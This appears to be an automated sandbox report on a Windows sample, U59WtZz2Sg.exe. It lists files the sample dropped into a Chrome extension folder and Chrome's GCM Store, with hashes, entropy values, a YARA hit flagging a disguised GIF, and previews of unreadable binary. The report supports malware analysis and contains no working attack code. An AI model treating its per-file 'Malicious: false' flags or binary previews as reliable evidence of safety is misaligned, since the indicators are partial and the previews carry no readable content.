Preview:	[{"de-..4...f%.O.E.C.i......s_m..~..vl?...0.$............-......".F..."...y..~.T..V...E..]..o....3}+.t...-(.-e..e...gn..!.`&.B."(... \|wB..5..)Qc.f.k^?EwF...0.z.J...^..T ..O..vH....r.6..`..Ji.u.....S.....H.Bb..Yg..q~o.s.f.Z[.1.n...&."......+..4.`AX7~.M\|....a.7../......}E...,#3.xe(...U+....V...E..S...K...].5!oh..j..........r.T...7m..vD/.Y........c.y.../.Nu.V..6..$.]P....b.`Ux1w.e..%...0V.]Q..<U....t4D...0.z../..ijZ+....}.y..R...R_...yR._.th....RF...W22...>..?&.}...TD..........4#)>....uN.d_v.74o....T."+.cqh.+....G.;..!..i"....Y{...`..('k...b7..,'.\|...C..j....E..B.k&....-A5..7...r.._a........v..&....-..ma.'....2K..c.r5..;=V.s...'....6..[j....w.&.}.......C,.~..H...p~..D.}g....WA#\8..^.w...........U..S..$..$.D6..........$...v..E.eoi..$.g.;C...=.YI.....5.......C)_.I'..@@n..........{:.\&..}.m..$.....T.1Z.z..h.....1#.*.k..w...E_.&I...M.....!.P7..s........?..&.-"@.1(r B&.j[...-...}......J1..!L....R..\lT.fzLh...v.....O.....o.h1.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\craw_background.js

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1125962
Entropy (8bit):	5.998288747102356
Encrypted:	false
SSDEEP:	6144:WyDmKqbt+4vu6sX/O8jXZrp03tPgAhcDnR5eTjnZV4VGLPEz1019sZMbPzWab3/v:nkb3w/fg3OAhcl5eTjIGb
MD5:	6D0D31423A01A0DD34981ECDF29D16C3
SHA1:	F213E10A62FFA68E9168E71318270D95B6303B95
SHA-256:	3D1B4B0E0CA0B6387B27C499BAFBBD7525526CDDDACB41B6BB49084D13199241
SHA-512:	4C1ED1F248BD5F991B0083C4E736DB204BF55515C60837244E01436F4B94B1069F3CD606B5EF19D0B4E429759136C2563FCD3ACB56687BBBB602A6FE66C73D62
Malicious:	false
Preview:	var d.c..j.f....]g.N<S:M.N.S.....2..Z.J.:.v.....(v...>\B...../....,iy!!.S..0.O.....{.."N..vy@..(...D.f.Cs;......M...t^y.......Fg..i.\.7...~A.-.P.i....k.A2Y..NX.q.!.....Z....h..k..T.r1U.:..cs9+..4:8A....e..j[.(..t...............x.].S.]9.>.!..p3;().sO#m...&.y#&....44rO....\|.....%..6....m..@.....uT._7.<..y+.{?&..N..D...t..>2.URK.......~.....s...G..q..a.S/."s....^...9.dr.f....p.#.r.{=.....I:.o.u\|.Q.E..w}#.0..v..x.....P.N../..V.0.T.."...i.P...Y..[.}.2.gb.vt..]..a...; ....V.<.I.N_/j........-..f.........N...`6.D`.\.. {R..l[AK/<..{.Y.q..m.\..W..o)Q..F.&....)...........D'.u.....G.)%.).%\.,..QZ....TQ..+V....."..0...."..I.1M.u.\|...E..>.SS...R(...x'........l......L{!.....j$..!..v.X=`.w.I..My.{y.t..P......vBLLI...G.Zf.....0E.....( ?{.....=#....8P..=...vS..:.S..._..fNwoN"3..>.Z`_........?...{..2.../....Gi.............g...Y\|.."F.........a\|^..<.3.o.+.U.t[..q..q[.a.g..a...Z...*Ng.1.?.H...-4.u.WWg.U.......)P0}..X..FU.#.E7.7..,.+..8...}..3.H.y.o.Yd..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\craw_window.js

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	266127
Entropy (8bit):	7.47589802519111
Encrypted:	false
SSDEEP:	6144:6/PR8t+E2di5xZh8/i+jNxcINsOVmhYw0mHno:6XiVmcW6yZ57w0J
MD5:	5407256EB12516505B740CFBE11C97B9
SHA1:	F5104DAE23F1AB5CF1B4709C9BB1B049C6F6A9A4
SHA-256:	F1E06E47E0BC6270AFA0530CBA6F6C2C1507828066C2FAE30BF33E006AF755AB
SHA-512:	54B31133A52376A85B781FD52C5050492CA5588226251DE35FBAA716C997042ED711B7D64C826FB63CEF084BA736FB43C4A747AF03A32DC3EF695B222837C54C
Malicious:	false
Preview:	var a.=%>C.TZo.!......h..3=....Ap....q.K.u......vkl/......oa.n.=....9+].>Z'..&.......p...}. .E.......t.....ND.T.....[.A..........C.L!...LVZ...Hj..}...~..)r."z...X..u.].......A...zg.i....s .........7.`Y..3\|.....3...^...b..G..Z.i\...p..0Fk#...c%...Wca...+...[.0iJw..E.f.t.r...]^.rN....U.VX.@..C..y..(..YUO.k.Z..y..\|.uW....am.V.MAQ.D..h#.....#.!v .B...c.....zt.h@.i1.....S....Z.=CN:.&.%AL...N.4..8.]}........=......U..'.f.<bR.+#....p.U......./.x.......y.i(w..I'....;..`.<H......'..>..[^.{_..zW<.9.<....}1...9..M..=N@1......@...j.q...%.H......i.[u2#..W..[.=.!...Y..T....a......:.{.w..l.l7.#..,=)..U.#.4.....E^..h..n\|BJ.7.a.....m.5oV.ws..8..naW...oau...k...m....\H....lh.@.Z.Q.=I.I..>./."...rU...6.^.]..>.5Ti..`.0..[.\|#....=.:*Ym0...=.Z.o7[H..B.G...D..r..4%.>".....f.=uI-...O.Z7..?...!#.o...Q..8V...c...$..%!.l.... ..R..M..g...1.d........ft.........QM......m?...EM.M..}.I......l=.g..e0+O.y3.)..,....6n$`./....2(@.#.H..3#..3+,.^...Pv....Ye........w.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\craw_window.css

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.902006258175799
Encrypted:	false
SSDEEP:	48:JuMgGhqPhAOpiVXDcDQTeit6or3TWvlzsfq9HhkwD:Ju+sPCOScQTpJjO08Ss
MD5:	9DB2C16697AD65C8E052C76977EF3C49
SHA1:	80D89AAD59A259E57A125A9A880A1D077E26C74C
SHA-256:	746D2D4467BD945F6267B80C735453E707CE743436FED82C191FDC6D24E4B242
SHA-512:	700C36ED89492DA9B26E364875E0F26BEEB8E07DF2525ED797BF6693931EBDF94CB34650F7D3AB0B738984E7F51A2699F899DC4E5EA9BDF3D92E7BE4AF397F9B
Malicious:	false
Preview:	html,.+....\.Gj.]..nB..W\.Iq..dc....x].KHZ...).W&\\>e...&.f..F..Pr.....T.......Y...@.3.;...S.>&u.0.C2:......}.V9..7..u...gA.........P.........bc16M.X.'....`7...mx.l...]..,.v[....{.....g?.l.r.(;.F......a..V.)..OP.`#..(9.."..N........t.D>..33.l0..:u).B..v..w%w...O.g.U..n..U...9m-.!.ASH5x......2..'.N'z..u.x.r..b.Px.t.......U...z....]..Re.C..{{.,..-.7..%?...w!z8k..e...x..'.....Ut7......0:...g.....5.J...m.1..a.9.k..&0 ..&....].o.\|..^.E.$..!W.\i_........<>..%f...3.4.d4.....v..^9....!...-=.KT$......c.?zn9{TG.....).MQ..V>........s.h!..k5<..q..\.E.....v.9'......m..F.%;...4#...=....c(.s..E..fm..1..r\|JYF.....T.TdF.C..}....@.s/.....4b...Lu.a.....26D.74.....h.GHT..0.z%.o+#9..X.......~....R(R....].yU.a..an.=.....L\.U....>...w.../h%...b.zs....V../....k...Se..S...T..!j..d0..\r.'J.\7.S......F(}..yl6..h..].aj.#{. ..l-.....=.N..:\|.t.....[.C.b.....zO....S....;.w..tz....-)-8..7..~...V........8-.-..y~%..K.SY....D..... `.......d....}pG..Hh./.s.N.(....i...n...M..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\craw_window.html

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.820022209000287
Encrypted:	false
SSDEEP:	24:fMP4lMa/aGDwQICGYbh1itpB94UjdO1FyMwmxFPzraYvgiZA+fPGTubD:fMP4lMaHwBCGYN1itf94UwSM5fra5+3L
MD5:	4156FBCC4BDB8D6001CE129E1BF41F45
SHA1:	8FF17B23BAD87C5BF1323AAC0641231C99BB0F7F
SHA-256:	B17068A064677D4E916490BAA6CD8ED01177F3BC3AF4121D8C5D326DEC11D3FB
SHA-512:	705C1EF3F753DDA49D4A2E23CCCBF8DB721980ED39F8594D63D143C755E4646C756525246376EAFE9B5CD3DC5531B259E6C15D8979C3B5566BA01529572DCA94
Malicious:	false
Preview:	<!DOC......5W9i.v.5.G..../..w&5!......P..Y...9e.`...........vl.3.[PzW..I..v.4..\|.68DoNU$...r.pr.Qz.f.=.....t...;...Y..kV.vK@......&.&......[...k`.UBT...y.q...G.)..D........'e's..[.0.sO!...i&F...x.. ..?o'.$gJ.x..K#.(0oR.SR&.Ji5..V..&.C...'Fg....B.......B!.....u\..iYF8>.!i.;......a..R..g./;...i+..O...n8.XE.T)..rE3..f.Z..K. 8.+...h.....G..p#P:...Yd.h...M^.....k\|.lt....RBH..q9...I.i...X.g3&7.....~..]%w7. .v..d#&?lU.u.....^b..P...B.7...c....m.$xh.vu.8k...rv..W.....pq9.N....O.C...\|vi.....o..0..}.....mE....>.@..C...m..5....%f;...@.'W..IK.JeZ.R.......v.......F..p.A.%.L..........-H...P2(...E*S.m....1H...:.K.0.W.$.Z..k.%.@....).A\|.:a.....bz.l[5.X..T.......$.....r..}4#.ut........-..0.....B.`...E.Y.iL..$..ou..c.o.......?..../P.'...,t.3;.(...+.].0-~.h..jx<4....._.j....2.>.b5bb..G3..U.h...z......N.A-!..#.4F.....V..........M~wQ_A.F6..(.8.......A..9c.+<.....%3_.Mo........5.m..s.&.x.0\...n.2.!......A8._^.., "..cxG3...lw.....).m.......]l..q....`XZ?.5

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\flapper.gif

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	GIF image data 6044 x 14818
Category:	dropped
Size (bytes):	70698
Entropy (8bit):	7.997219341190102
Encrypted:	true
SSDEEP:	1536:XlPH99Brar/W9RBCrR/EQfr3mjrYvl/tKJLK:XlPH99Ba7iCrfr3mjrwllV
MD5:	7077BE1F1D4EDD26CD87CBC060619775
SHA1:	72411E2E4EAB51177ACAEE7D893C18FB375E35CE
SHA-256:	925133B4B1FED2077BC96D18C16F9A83DC9998BEA0BAA3CFD334623B2B3C7831
SHA-512:	EFD09946F4D5099AC19324181047EC1EF5966E4237C3D613AFB2351EE79AA214638C99B500E16BC1B2F9BFB8CEF83812BB1F0CC07941A71152E0238E6F816DD8
Malicious:	true
Yara Hits:	Rule: SUSP_GIF_Anomalies, Description: Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type, Source: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\flapper.gif, Author: Florian Roth Rule: SUSP_GIF_Anomalies, Description: Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type, Source: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\flapper.gif, Author: Florian Roth
Preview:	GIF89....9N.z....go..j.'.=.4.6^..d....w.....c.a..H....!.,...rbs....na...3:.i..6..P.O..._....j..eJ}.\.B..f..y..T4$...5".Vw........b.0.....q.s..7]......H:.......ms.@...ie(8.....<?_.......W.xp..u#g.)b..s........]B....."6.D.......Y........YP'r.LZj.....P.X.JZ5.u\|..:3.$.....l..:a{.X....T.o.H.4.......s.Y..>/..:..4\|.;M.$wK..E}T...G.(..r.B.lE..&.Yh..T..W.}.,I=u..%f1...$b .r.PSr.& :..zs.D/...=....H.......:y..N>.&.t....EA..J.....~{.F(.-S..+o.bk^..x.@...u._.f..a.&.E.K.....O7.h..`R.I..$fWJ$b....1/..5./.rEC...j.,.Z.#rO....s..C..c......Y`........f...a.m5...d.V.P.`.r...#ldG...\|.k..yO...D.....o.H..i!-C..qz...t....0F2m.H...K.h....}..FY5....sa.......l..33.+Te.G.x.+tm.........w...}...GQ...0..* &...p?.u...fW.9Y..>........"..;...}.......2..~..J......9G.....=.X..tt.b.C.C/..-..)..v....6b...r6.....pI*...q.Q..........3...[.m.7kG../'z,Z..\|.u....b].......q.....6....Z......V#M%O...K4.E......`gi...[.^.h-...0R..>..+.../>.Ve8za...W.^.....s....6.=....]U$g6

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\icon_128.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	4698
Entropy (8bit):	7.966727909149362
Encrypted:	false
SSDEEP:	96:T26hmF488ywaha/33EtZeMIwB1nVlhJu1pLI4TSEDcQee2CYkZhbEJ:i6A288yxha/30lWpLIkXDcQ9TU
MD5:	681A1A6107959ABC285771F8A4BD0AD8
SHA1:	636B31B18539D9E0F0AA0F726900756D688F5A80
SHA-256:	2A602C20FD9BBB99B178AD34BEE427CCE051165696DD1A0611AEE13DF06B765F
SHA-512:	593CAD49BE0BF4FFD5CBAC5407A5AFC0393967123A18E987D2CB46B13CF63E67C4AA538573F85BA62301782330B71565E0B8A5AD7FE1363F613316A4E1F7DE59
Malicious:	false
Preview:	.PNG.. .._.i.Q.N..].uH`0.{...?...8.9..M++.%%.....Fc..#z)..9m$.[f.J.+.q........a.Z\.}.f\..a.q ."...vs.......A..R!...-.`.[z.X...w..B.F..>..e[....:x.....\|,....bz&n5..z.4qiyM.}..?....\|.v...v.....+#..;.."..a.R._s..Y.qFtt.PJi#...lcK.A\.~....)f.L........-.C.-..)3[...p ..q......wh...........Q1....lU..%.I.oE.m<B>........."=,.2.^...H.B.k.....%JD....b.3.h..)....q.-j..9^..k...R.(..$.D?..Q.......`.V'fA6::...p...2......t..kq/.}.j.......L.AZ;..L.;.>..h....Z..b.i.r.r_.Y.r06...Jw......eN.....6>]t..>..z.*uM....5JZ....1. S<.z@W......zG...t.......b...4mb`...0qY...w....=N3....L.f.:....,.D......\...V...K.0..^\....n#k..l..k.....C....r....U.....G..3..l.(....O.m...K....N..l<B....m.......wU..:.W.3,...l.K.C.o....3..fT..%.@9E..:...p..?..-..tD..8<...5..&..S.........Q.....3.d.v&....ag.-,.a...x8.(....QW=......2q.,r......n......<.HW.[..0..Z^tZ.....RJ.`{.].y.V....._.........~...........F7./V...S...5..."...9....A.#.T.:l...?..?..U..N.0....C1.d....v.....:..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\icon_16.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	892
Entropy (8bit):	7.750400889144331
Encrypted:	false
SSDEEP:	12:5NQyT2N/MF5B3uz2DgxcQwGj8Oqe4KZ3Z9VL/htY4zC0jGufym91sXtcii9a:5NQySMzBLDgxzwVA/hJ7KuP94bD
MD5:	FCCA21383E32AE882613E311BF9847D2
SHA1:	E4FAE2494B03AC4E0B62542E0D147A2DE123E016
SHA-256:	38B66CBA03F6BBFA2D003381ACF1FFB32B26AE3C93CD9BB237A3FB6D582D7C64
SHA-512:	B49CD7D420C8D2DD14EEC773BC9316551F1CA915566D0CF19CAE2C6F62B1A5CC3C8484457EDBDE664A2DA6FDD3F60EB492CE3FA28CDA1AE7BD723054F5011471
Malicious:	false
Preview:	.PNG....3......gBT3Y../.....3.Y..@k&W...M;6L\|!.@........1>..9...v..i.=.Q.....:.x).:g.u..b.w.nS.n.%nR`..+..\T..2Z..".....XL#5.I.......v.ZN@....-8.0S.e...ls/.o.....>c.D...I.. d...H.8E.H._(."..!..\.u.._.3#.V...Q.....p..J.Ko.iu9..]......C.g.2...ZW.g\|.(I.O...\./...j..:e...N............%......D{..+....."..j.D......$..6....0........b.....%MD..=..?+We...-B0'...i....L.....D..b1...J.G.Z.....74`o..\..7....[...pRD3..}.....{..n......{7R&.).:..}!...]....Sc..Q)0...I...8eK.....~....%.%..kX........+..d...k.o..0..h..[....#....2f......f....t..;.j...s`....r..E2.of...N..qF..RA....I..Z..}.&.3...^..q<.8...H....."....Q..v..Y......0.'...&M...F8j......R8\|t..f.......v7a#........4.q..L.t.UvO.dS......GIK..]..z..{2J6YI..ifA...j..u>...B.......1.l...Iyg....\_..2.d...$.F.k.?.a...K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\topbar_floating_button.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.556076015557796
Encrypted:	false
SSDEEP:	12:hXluR6V8mqe+RdlChOCJ9GtwqcSg6Ytcii9a:hVuRT2J6YhbD
MD5:	ADA95D12C2E30664EB78D28E4290896B
SHA1:	B9071BFD7618B5675EE2132E44229FA28EF79080
SHA-256:	D1BF4FBBAC5EACBD62FB24D586CA94244CBC9F55FBF34A95319F7EC6F4BAE646
SHA-512:	A5B7BDF2AECCAEDF0BE9C2872B4A0ED3CDF0AC458C9F08FCA8BCC95D23AD6A9B7F05C347BACE92CD2187EB5C7B0A5715C7942192D535CD914C349F701907B382
Malicious:	false
Preview:	.PNG..>....kZ.c...D}.....d%...u.....d_.h-.>....k..KKf...9J....d.....{...C.,2u....2..&r...Z..3i.jw].......^..g..y4*..2....V..:e......fm...m..Y...D.?/K.I.RoY.%..P{..a....p..]...d..d.6._!.x{......zC@R..:...!.D.Y......\|..1..x ..5-S.oq~.... m.@K.!f...:.c.....~R....z..........xI?.{Jv..3.t.ph........".(J..N....2. ....A2.8.b..9F.\|h.=....c@&V..R.....n..`g.=3(N6.u.}.4.n....4.C...;"..A.........sA..^K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\topbar_floating_button_close.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.623566174270631
Encrypted:	false
SSDEEP:	12:QcPhnPIO43AKrS9WS662qkaAZ3dCW174NTNc5hlInmYtcii9a:H5wO0AZWSVrk3ZNH8PUn5ubD
MD5:	379D1160E5E7C08E10E5419E6A7B9ED9
SHA1:	EA4546380F25CE9A35E15C893D9C1F42D47D0869
SHA-256:	59B52EBF64ED9D14D12F2B7B6F7B53557BEDC3EAB23441B11675D305E5E2C4F6
SHA-512:	65ACC3C74650AC157839E6E436163735F470D92FCA76833622D45B34DAEC1B37F7B88AC16B71A746A63C8A12DCD943911956F9A9958FE36474257831B6750CAD
Malicious:	false
Preview:	.PNG.Y.{.A..7..O.XO.:..@%a..3.......V)...c.....H..................}.........".....i.=.3.QT.L..j.xL...a..;.......1%..!.h_{.p.......5..K...e..gO;`.B....IMeF...L-^G.sU.LT+s".o/5...f$....Z.q.W....Xw..x.O...e.5..\|...-.0P...VM......L5.f5.\|...h....9..:k`ce."wt.............!l.t\|$HE.q.~...?.9..4....F.8.)R. .u.._D....X....jRp....;. )..s.+...F,)....lZ........&.j.dY.j.F.b..5.....S.~5@g..+.P..(..O......Js..........4..y.U.Y).c]..B..G......g#..0.2$x....HR.i.L..%;...F-.)'...{.......X.+j%..#..y.5K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\topbar_floating_button_hover.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.569284839241023
Encrypted:	false
SSDEEP:	12:53W9wQdUiVQkcE5VqoNpAEbknVKGACsh5ZtpQ/5WA7tcii9a:5D7rkceAE8VZmtpwRbD
MD5:	E32E584CB5FF0681CDC7951DDBA2156A
SHA1:	85BEBFAA853EC03D8815AC6BC2C88AE87F6641CE
SHA-256:	11FCD2C3D0E855F5C193A7328FA9401787EAD66A9ACF73FDFA2BFC03C6DF3EF8
SHA-512:	0DDE4BBDC04B1229411D8C9363027FCB536282E49F5C7A2343075DEAEEC2A0F5A6AA8CA0AB7B0ADB61D06B56CA393CD610692BC48AE441350169BDDB2252582F
Malicious:	false
Preview:	.PNG.J#. l...&.6.E......m...J.M{l.^.e....:...4....4R.@y......?-......<..I^.I_.n....i[...\.W.....C..\|.2t...so...t:....]....2..2.D#....U.5%...../..a....YZ..u7=.Vlx.*..{.s...L.(.Q..........8.\|..C........L....yz;(......6..'y.J}.sH..r..LC..R..(+...5..Q=.......C.~..c...@.&\7..b...x.S.KnS.s.J..jt..}....u<.n.3.U.9.s.fN].N..;....p.\|4X...j"5oNTnj}..{.....{.Wb)...=..<.O...M.S......,.F....+.,..<..K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\topbar_floating_button_maximize.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.500044316862127
Encrypted:	false
SSDEEP:	12:pMDlDw+xhWt6AjLzl476bon0fVgNLM+ffktcii9a:+xAoaHlju0fVWnibD
MD5:	C046DD7596063A2836D7BF21F97BC81A
SHA1:	0E0754ECF63490BABC08813566C2958B317306D7
SHA-256:	01E83C07D457785BFB45B7D2FF692A52CE2DE49D4ABAF901A200EF834994C083
SHA-512:	BEBCFC615034989D84D19C199BF30567A2F567871CA2321CDF86BF574CE036EBF575156FA4DF419379433C18FD4142C0D5D13B79221B06A90F9BD886743D051E
Malicious:	false
Preview:	.PNG.ed.?....r.jQ..@;..mR....i...ZCB.$...\3.+.#.J...6.E.Z=....uw...J..r.V..6Y.....z.....u../.Nk...K.t...m......I.('.;d....U...2........H.G..z.&..P..!.r..D..(J..P..m.9....n....S..A.3..7L.CR..*.=...lm..g..W.CD...i.J.,.x$.j.}.@........Y.....Q...G6...tA.vz..../T.....}.....!.Q....W.....c...C.4Ow.,......G...\|...[.z.8.p.....;..B&uq.9K0...B.n.q......Cgf`7.P..Y.........0.gQ.Y........YWK.G....94.R9..K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\topbar_floating_button_pressed.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.532809623869233
Encrypted:	false
SSDEEP:	12:Fcj7s0Nn01viJ2BT7rP/Xfy4C06sOl3Fyu1Bg6Utcii9a:Jo016J2BbKFBr351Bg6abD
MD5:	138B24E077811A0BE5742A422F8111B2
SHA1:	05819D745D39C5C2784533F87F889F5872A08DCC
SHA-256:	EBC22F7B6527961A4D562C1E519D92066DC68EF76FAB697F2BF1D62640018D50
SHA-512:	8131AAFBF70524F043A8734594E170DE8D782F404DC6DB93C06528397A2C8C3B6F55A76F81D8B1457034629C8294A6A5640A3E3B5AA235CFB66570E586682913
Malicious:	false
Preview:	.PNG...:.A......b...Z..[....$...%./.Wln.0nu.y....K..A.....hh...c..g.d...HQ...{.....@..i.^a.'6._U.=..9w..6.>..jG....b...1.{......v(BT.W...A..9.q:F.%E...R.m....].w&....2.E.rx-..?=...v..W[i...r.......k.. .+5...G.....m...f.j...5S1.!..&.Ev..1..u..'./.-l.,....uSm...u......=ie.#qo{..J.....Vt...3......#....\.z2.xxm.....}...C..`....0r9.]..(.yL..............'`....^.,.qE5...\|.b...!.=..B.%.I.z{R...i..f.. .*.K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	7.879357612605069
Encrypted:	false
SSDEEP:	48:9iqZ1tGILufNOJWmSrxRRjH1q2wl1hyGD:9N1tGIL0OMRNHUnMe
MD5:	FE30824C53235CF8F59708C63A2FA9CF
SHA1:	BC8C2F726E78115EB3F06531778E96E47275505E
SHA-256:	1B4B668FAB37B8D7E2416F5EF7DD49B6009D07FC66F9F7F93609CBAB1C356C52
SHA-512:	F7D36C48D3695AF8B36EBCADE0158603E3C0DAAD05F7D44B6DB099F37F508BE8638CAA1FAD3530F24F52D8A1CC4136006A731429D221F070E222C16AF6DC1765
Malicious:	false
Preview:	{.. .Uy`.....C..Y...'..4..[.P..........{....Dy....8..F.N...>....K...}..........;gA.........`.{.W...&..m\|S..,.<t...gg....I...w^.`..S.xt...$\....D.<..!...........2.k.Bg....M.v..e...xf..)!...\|.E.D.-..=.2w.)..H.:..."TG...C0.[..D).bE.\|..........w...W...c.6..s....%U.I......U.W..6.....l%.!..e..\|........l.../.....[1=..)Q.[.Y..C.%r..%...Vk2.h....v.1.=.[M.R...U.o.....~....)..@..."."Z...LFjp{.....z.N...?~vg7D...J......GL.(J....3.KSF-A.o.S..q...7@h.<.O...u.CC.1"X.....Y9t.....uy.....j.J...>k.\."{....EqF3...<..V.f.E.LW..]4...........YVC...Q....M%.T.*Y.C....4{..(.MRc.S.5e.q."..........P...1..p.....a...~4..V...T..J./-.#.P...a.@j...y....z,.7/..\|CG.oO...L...O....1.93...Tx.q....b6]m...@cN....g..E.f...}v.......NE.....;Q.C!..\H....:D.>.8..D8.)..f.8G;...GD.....9......a`.;,...<.<.N.r"..h.B.3..T=X..Ye.yn\|...MI..8...+...../.9..2w]...s...fM..7....3.!...:.g.i_.. !."..e...C..#....^....Pw.tv.. [.-&$q....u\c$...Y....1..;.vO..&.T.h.B#.......EX\....8..M#..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.721692403108043
Encrypted:	false
SSDEEP:	12:YQrzZhQVGWyVRq8MwfY+7lNeH8yUhm6LbbxweWbcrPlOrifsevZG96m6eRtcii9a:BiVXyhVFMSbUAhSKkllbD
MD5:	45F40B35269E9DE090071F2A810910E2
SHA1:	99193D534E46A2DA9CD0513FEF0449BF25D02274
SHA-256:	9DF72869D0C9CEB7928BE950CDB85C357ECC4796F746F57B4A8A8614702B87B5
SHA-512:	AC0BFEF0B844053AEC688D976A875FD29B09F0050E55D7069F19CFA36D0CF19E3B313E091568809B12F8F670453EC4402A618A9B68D4340092AB75EDE9F53D83
Malicious:	false
Preview:	....0.....J.].F.V.A...3N......k-.....y..mBj-=...v1N.u...@t...0al?.X......=..]...[.P:....on..X..t.......-^.+..m.....-.I.U.0......B.....a..(0(B<.\....5.:.I.y%.A../S..T.,....O. ...B.&h.g^..K.&./..".#....?..{F.Y.%......Ts....t8.q.v.2wx9.m....<.........V......_......z.:...O.{.q....s..}Z..S.P.XH.@P.G.x.R.y.l.@...ezy..?..........SE.....L.]r........=.4..h9/..ob..Pa...}...Fd4..".....".Y.$..J..@..U.V`.....f........~m..........o,.]j..K=..mCr.;b9.Y.`W,.5E3.....".(.......;...P.v)7..h..."......z.o......z.t.r!QxdV.OA.P.s..n.T.....z...8.<..j....C.qj...c.......X.].a.UE.o....Y...K]...0\|D....jX_I...P[.T...l...M..*Q.9.#B..B2&j..uo.....g......D.,.n.........:.OPZ/=;.....M-g....gS%K.K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.49435643814914
Encrypted:	false
SSDEEP:	12:ZAoHvPIrYNcfWqNrKzLByHZIxNWMCR7KShYtcii9a:ZRHvPI4FqAzLBFDWM27ZubD
MD5:	886655B844028B4AD845EEF0FAAAFE49
SHA1:	B29E72B3E92491624D86EC4686A6AC18DCC12E44
SHA-256:	DE156EFDB056536AB8463E3B4A8A87BC83B51E166727EB6CBAE7703ECAABAADD
SHA-512:	5FB14B4AC7CD03627904844DF3EAB54AAF9FD584DC88E0B1994A36E20295EB30A83A53922978212D197A4CF355432D2BC07D8269A0888321E0903DF712E0925A
Malicious:	false
